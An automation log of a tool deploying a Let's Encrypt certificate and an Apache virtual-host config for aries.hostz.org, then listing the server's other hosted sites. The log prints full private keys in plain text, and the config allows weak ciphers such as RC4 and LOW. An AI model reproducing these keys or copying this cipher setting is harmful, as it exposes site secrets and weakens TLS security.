G2v2giaYYb2IGP27zmL3sdM7xwKBgQC1VhFkAPgmrAUlXsKGjDXEVVhZ9ktwcjpa
qGNK98n/xyDW/lBdA0hAYw8OL/HEE7rn+EI5n2sT28/wuEKTNdoFEh8tjT024i7b
N1MV3/slb/BgB+FccVd35ol2eWTPfLN1IMk7DK/uT73q/pQK5+wMkv1M2wPuV2tz
7mbLtASNrQKBgQCWV29EP0PSEpa18yfMDKClLUZvoSYvMDe8HjdBHp+xmz/xagvm
fHpqD8dt9lkiQ3Owjfev8BYkSKx9XKaG8QdZ37w2oMMLNLQt+cHnMqo7LtCVlad+
Tq0fWQeWBiDMpnaYIUIjfUVfwbYqbU50oTpt3RsUPDwhxyUfSH8jhepqVwKBgANE
ismvjsk7nlgfDghYrHteQlpUquVa2ZxanndyYax/TSMysAYNEhc+8b2Ctauf42Vc
vuzE56wS8PtYhrKabNRckD1E505+4vNGWvPw9lilXMKOQcxlqnrZp65/34YxrBY3
QgkTYHQ98aEzdz1/EmzjlTb2V2rLHn+XUzjmhJJ9AoGAaPsBlQnnAlwzIVTzCfZI
4m5nJLE1RUwfUG7B7Ja6sCwboWF+5ufQk7YW5RB4TA1Y7FLLdaN8Z+/isVwgvYdU
2cj1Canp/ereYM6udTWgGwJQ2nRZ/SRqlSkDjxUJFKcNLp+vVdi74kSSem1wgwVy
7vna6hUrx80hxP9w40YIDXg=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2026-04-10 06:00:02: Establishing a connection
2026-04-10 06:00:03: Establishing a connection
2026-04-10 06:00:03: 

PUT: /tmp/pkp121597

#!/bin/bash
if [ -d "/var/www/hostz_aries/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-04-10 06:00:04: 

chmod 755 /tmp/pkp121597; /tmp/pkp121597; rm /tmp/pkp121597

2026-04-10 06:00:04: 


1


2026-04-10 06:00:05: Establishing a connection
2026-04-10 06:00:05: 

PUT: /tmp/pkp372302

#!/bin/bash
mkdir -p "/var/www/hostz_aries/.well-known/acme-challenge/"
cd "/var/www/hostz_aries/.well-known/acme-challenge/"
cat > 297dSPM0_VJYEu2z-kzZO_05F4H-59H6YMxjsT-tdJM <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
297dSPM0_VJYEu2z-kzZO_05F4H-59H6YMxjsT-tdJM.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 297dSPM0_VJYEu2z-kzZO_05F4H-59H6YMxjsT-tdJM


2026-04-10 06:00:05: 

chmod 755 /tmp/pkp372302; /tmp/pkp372302; rm /tmp/pkp372302

2026-04-10 06:00:05: 




2026-04-10 06:00:11: Establishing a connection
2026-04-10 06:00:11: 

PUT: /tmp/pkp490414

#!/bin/bash
mkdir -p "/var/www/hostz_aries/.well-known/acme-challenge/"
cd "/var/www/hostz_aries/.well-known/acme-challenge/"
rm 297dSPM0_VJYEu2z-kzZO_05F4H-59H6YMxjsT-tdJM


2026-04-10 06:00:11: 

chmod 755 /tmp/pkp490414; /tmp/pkp490414; rm /tmp/pkp490414

2026-04-10 06:00:11: 




2026-04-10 06:00:11: Establishing a connection
2026-04-10 06:00:12: 

PUT: /tmp/pkp722668

#!/bin/bash
temp_file=$(mktemp)
TARGET=13385323b2ba6119b083bb652d070eb4.crt

cat > $temp_file <<'endmsg'
b8:90:0d:16:a3:62:b0:4d:d2:92:62:d3:78:87:a6:9a

-----BEGIN CERTIFICATE-----
MIIE+DCCA+CgAwIBAgISBnrakPa6Y0DBeyHl/baBEomXMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwNDEwMDUwMTQwWhcNMjYwNzA5MDUwMTM5WjAaMRgwFgYDVQQD
Ew9hcmllcy5ob3N0ei5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQDdFYbVaW+6QQ3pr+alMyWVNTLFr2n7uVyJmY5Ar2XGCd4bRBJpAn8bfjcydOwD
GK/sJEJKP/Yzp0ymk0jM6ZQxMJb8+1x3GYG2t+uj3xWFsUlUmlmeygsaIPD0Wtzw
6ebtq08RfnQIlW8iBcEBXyu2crN6OM5y1yd+kzSWqreIhi4izFEvx34/qGP0q5tl
C7pt4rZLDixByJVjZitfLEiwiMXV5rq6ddWJPxZma8NruDv7gBxZQsJkmDgSHCJl
KmRrY/fr05KNT77Csk/A6RB/mbFFxCIV/l2UDS5fiSUjuXN7Wt3Yo8pdPOrlMBc0
CtFIxh3nTuE52A4F55QJkY4PAgMBAAGjggIdMIICGTAOBgNVHQ8BAf8EBAMCBaAw
EwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQUFJmw
gbz3QDzU7wwjuxHFwi1pZ1EwHwYDVR0jBBgwFoAU56ufDywzoFPTXk94yLKEDjvW
kjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEzLmkubGVu
Y3Iub3JnLzAaBgNVHREEEzARgg9hcmllcy5ob3N0ei5vcmcwEwYDVR0gBAwwCjAI
BgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0cDovL3IxMy5jLmxlbmNyLm9y
Zy8yNC5jcmwwggEMBgorBgEEAdZ5AgQCBIH9BIH6APgAdgDIo8R/x7OtuTVrAT9q
ehJt4zpOQ6XGRvmXrTl1mR3PmgAAAZ11+fx8AAAEAwBHMEUCIEcFqjIHJKEFIKb/
/AqX+N+6Vm6QF3Te0lXyY3Je8a0+AiEAjYobam8JzS0d2+kvSfkM8/Fko98viC1r
oLl0NRPqdR8AfgBs/lAZQ6heqRa8UtEz5NzJHvFBHH0lhCDRc4CeGBjrOgAAAZ11
+f6OAAgAAAUABpJUrAQDAEcwRQIgbM2f5vE9AAqB4S3qW/+gSFKSb3lXPtpR8KtA
Kl+UWsoCIQC6oaEudiCO5K2sKU5/nVZ0icwwca3cmPUB/qY1QWkQUTANBgkqhkiG
9w0BAQsFAAOCAQEAJ0wHIlA82fCSbZgK0lcdtLR4hlVFzsPWt2TBqfxU+nsG5p9H
aqvkHZeBiSu8wppxz1NfIwLA60Bnt5io4W5pmjHvfzkFj78P+fe4v7pxjYYimNzq
7VuGgKCe7mukzeG6VDz3kFkXhUP1HT6mmR3JQ9anXQTcE643mTIzdu+gUfDHYmXY
719jSVFCt+ha6qBemboTlQ5b2zUUpdjhuOmzVIKf4JCJHpXv4Lop+cK2MrkFDhXc
GojsIi9/ai+pZgR8DXjDyDHo5w79Z16nX+3LEks4mva5r9dSfYNH1jyltXkSBQa2
fkZMA/AfveTsgrs49FJbY4i+cJYFN0MBfdmtDg==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDdFYbVaW+6QQ3p
r+alMyWVNTLFr2n7uVyJmY5Ar2XGCd4bRBJpAn8bfjcydOwDGK/sJEJKP/Yzp0ym
k0jM6ZQxMJb8+1x3GYG2t+uj3xWFsUlUmlmeygsaIPD0Wtzw6ebtq08RfnQIlW8i
BcEBXyu2crN6OM5y1yd+kzSWqreIhi4izFEvx34/qGP0q5tlC7pt4rZLDixByJVj
ZitfLEiwiMXV5rq6ddWJPxZma8NruDv7gBxZQsJkmDgSHCJlKmRrY/fr05KNT77C
sk/A6RB/mbFFxCIV/l2UDS5fiSUjuXN7Wt3Yo8pdPOrlMBc0CtFIxh3nTuE52A4F
55QJkY4PAgMBAAECggEAYJnzXHTBmQSr65wsj6qVlWi1UqOfD5qi0I0EF0eMlMfj
AM7xrGim2YCA5c8pAQFcfTYqsP7ZuSA04eQhP0ggtI2iq8+5S2EdyJT8pZHoeY5J
mGoJFtT5nOUf4+V//NR3Two3dlFmqgmBkcAp4UuQchwUSCdiLdPNMgVoSR03LLOE
tdfaoRuWW2nip4Z1gBwLeYPB6Ih1AZQ7SaQDJqijMObEbObk6Ofql5ekTiU0pjoG
wSRObNyb2hD1e3M24lqe0XGx8n23uRP1E4bZZhja46wQhSREXBY3K+o3Gnab8FKq
S1jopJUT5V7JTyP9AeTeemMBFOgPQfMFiGJlHNJqAQKBgQDufBJUgF4BJWEcN1Wd
vm2q+22d4dS7pGCiwX3aKpYOf77F7h6FZNSvsdmoaYAQvLB7tlZH5HIzqb2YtmTA
9eveBD39DBD8YYUK6tebs15kn+oJ4bZ0nbcoirs6eYUK90ykDyfoC3nL96i1LhxL
+4SpiH5WqNplPEaMYBZIKnMFQQKBgQDtUktFu4zlIpKI6n1jZgXEBFybAEABfi1d
0l4QrAY+ihkWSym1GpVsXOaqDCP+ZBdDA1/5IoFzrArdnIF4fDYccqiBphVilNHD
eXyKhyydrDPIR0vHJErlocjuq+2ER9Q8+IZ1O9vtWoFgZPZvKOqQUU5vK34Q+yby
3dpUfxwvTwKBgB8A8kEaDx6HBYDtkKvZPdikpzOHUGi0jfuavAnIz4lDAkIpGr6s
xRmyPWGvlX6XiToMElt2T4J35rYbwC11yxwp4QUstGibJPiuXylWwEbEo2B1f4rZ
lh4nKwAHHEy4qbYKYl3AYC0sHTqwq+0U3cJMhGAvw3S1yVYmh78KBboBAoGATsK/
BHeH/QuKQjJARtq3EyS3byGYHGa5u6dzXGka8Wp3hPSQ9O/Lo1j5nHnHAEhLiAv4
sAAJok/4ky+7sDbY5nwO/GgYNM1bCFqrQHY4EmPyE4fF2GNtD+SvgLZCb2I/R7Tb
OtEQ3ibpRQp81stnfVneg/qVLiGL/ZIvQVemDPUCgYAIEzppt2pk5qT8qhPg6YQV
fkJRpmLXpfK0EE3dztVpXgVhMAnBw/18D5gPig1qUiw5GSsUGEL6diOBihKcxQit
C/XkI0fbzeBoeOooySkuseezqVuzL2N+ls0PQUUFrWD+GVEH0g7MZjWsqvpsp0c5
YhJCGmhpXSiVcbl+Obpgew==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-04-10 06:00:12: 

chmod 755 /tmp/pkp722668; /tmp/pkp722668; rm /tmp/pkp722668

2026-04-10 06:00:12: 


dir=/etc/ssl/certs


2026-04-10 06:00:12: 

PUT: /tmp/pkp348742

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/hostz_aries_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-04-10 06:00:12: 

chmod 755 /tmp/pkp348742; /tmp/pkp348742; rm /tmp/pkp348742

2026-04-10 06:00:12: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hostz_aries_org.conf 39

<VirtualHost *:80>
    ServerName	aries.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_aries
    <Directory /var/www/hostz_aries>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/aries_access.log combined
    ErrorLog	/var/log/apache2/hostz/aries_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.1-phil.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	aries.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/13385323b2ba6119b083bb652d070eb4.crt
    DocumentRoot	/var/www/hostz_aries
    <Directory /var/www/hostz_aries>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Location /server-status>
        SetHandler	server-status
        AuthType	Basic
        AuthName	"Server Status"
        AuthUserFile	/var/www/hostz_aries/.htpasswd
        require	valid-user
    </Location>
    
    CustomLog	/var/log/apache2/hostz/aries_secure_access.log combined
    ErrorLog	/var/log/apache2/hostz/aries_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.1-phil.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>






2026-04-10 06:00:12: 

PUT: /tmp/pkp703024

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hostz_aries_org.conf
TARGET=/etc/apache2/sites-enabled/hostz_aries_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	aries.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_aries
    <Directory /var/www/hostz_aries>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/aries_access.log combined
    ErrorLog	/var/log/apache2/hostz/aries_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.1-phil.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	aries.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/13385323b2ba6119b083bb652d070eb4.crt
    DocumentRoot	/var/www/hostz_aries
    <Directory /var/www/hostz_aries>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Location /server-status>
        SetHandler	server-status
        AuthType	Basic
        AuthName	"Server Status"
        AuthUserFile	/var/www/hostz_aries/.htpasswd
        require	valid-user
    </Location>
    
    CustomLog	/var/log/apache2/hostz/aries_secure_access.log combined
    ErrorLog	/var/log/apache2/hostz/aries_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.1-phil.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/hostz_aries_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/hostz_aries_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hostz_aries_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/hostz_aries_org.conf= 1'
fi


2026-04-10 06:00:12: 

chmod 755 /tmp/pkp703024; /tmp/pkp703024; rm /tmp/pkp703024

2026-04-10 06:00:12: 




2026-04-10 06:00:12: 

PUT: /tmp/pkp267474

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-04-10 06:00:12: 

chmod 755 /tmp/pkp267474; /tmp/pkp267474; rm /tmp/pkp267474

2026-04-10 06:00:12: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-04-10 06:00:12: Establishing a connection
2026-04-10 06:00:12: 

PUT: /tmp/pkp671404

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-04-10 06:00:12: 

chmod 755 /tmp/pkp671404; /tmp/pkp671404; rm /tmp/pkp671404

2026-04-10 06:00:12: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:2)
         port 80 namevhost books.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf:2)
         port 80 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:2)
         port 80 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:2)
         port 80 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:1)
                 alias www.hopeinstoughton.org
         port 80 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:2)
         port 80 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:2)
                 alias www.hostz.org
         port 80 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:2)
         port 80 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:2)
                 alias www.kjvdictionary.org
         port 80 namevhost localhost (/etc/apache2/sites-enabled/nagios.conf:1)
         port 80 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:1)
         port 80 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:2)
         port 80 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:2)
                 alias www.patientapps.co
         port 80 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:1)
         port 80 namevhost hub.pjy.us (/etc/apache2/sites-enabled/pjy_hub_us.conf:2)
         port 80 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:1)
         port 80 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:2)
                 alias www.pjy.us
         port 80 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:1)
                 wild alias *.stoughton.link
         port 80 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:2)
                 alias www.theyoungdesigners.com
         port 80 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:2)
                 alias www.theyoungdesigners.us
*:443                  is a NameVirtualHost
         default server anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:24)
         port 443 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:26)
         port 443 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:24)
                 alias www.hopeinstoughton.org
         port 443 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:27)
         port 443 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:20)
                 alias www.hostz.org
         port 443 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:19)
         port 443 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:24)
                 alias www.kjvdictionary.org
         port 443 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:24)
         port 443 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:22)
         port 443 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:29)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
                 alias www.patientapps.co
         port 443 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:23)
         port 443 namevhost hub.pjy.us (/etc/apache2/sites-enabled/pjy_hub_us.conf:22)
         port 443 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:26)
         port 443 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:20)
                 alias www.pjy.us
         port 443 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:27)
                 wild alias *.stoughton.link
         port 443 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:23)
                 alias www.theyoungdesigners.com
         port 443 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:21)
                 alias www.theyoungdesigners.us
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-04-10 06:00:12: 

PUT: /tmp/pkp264520

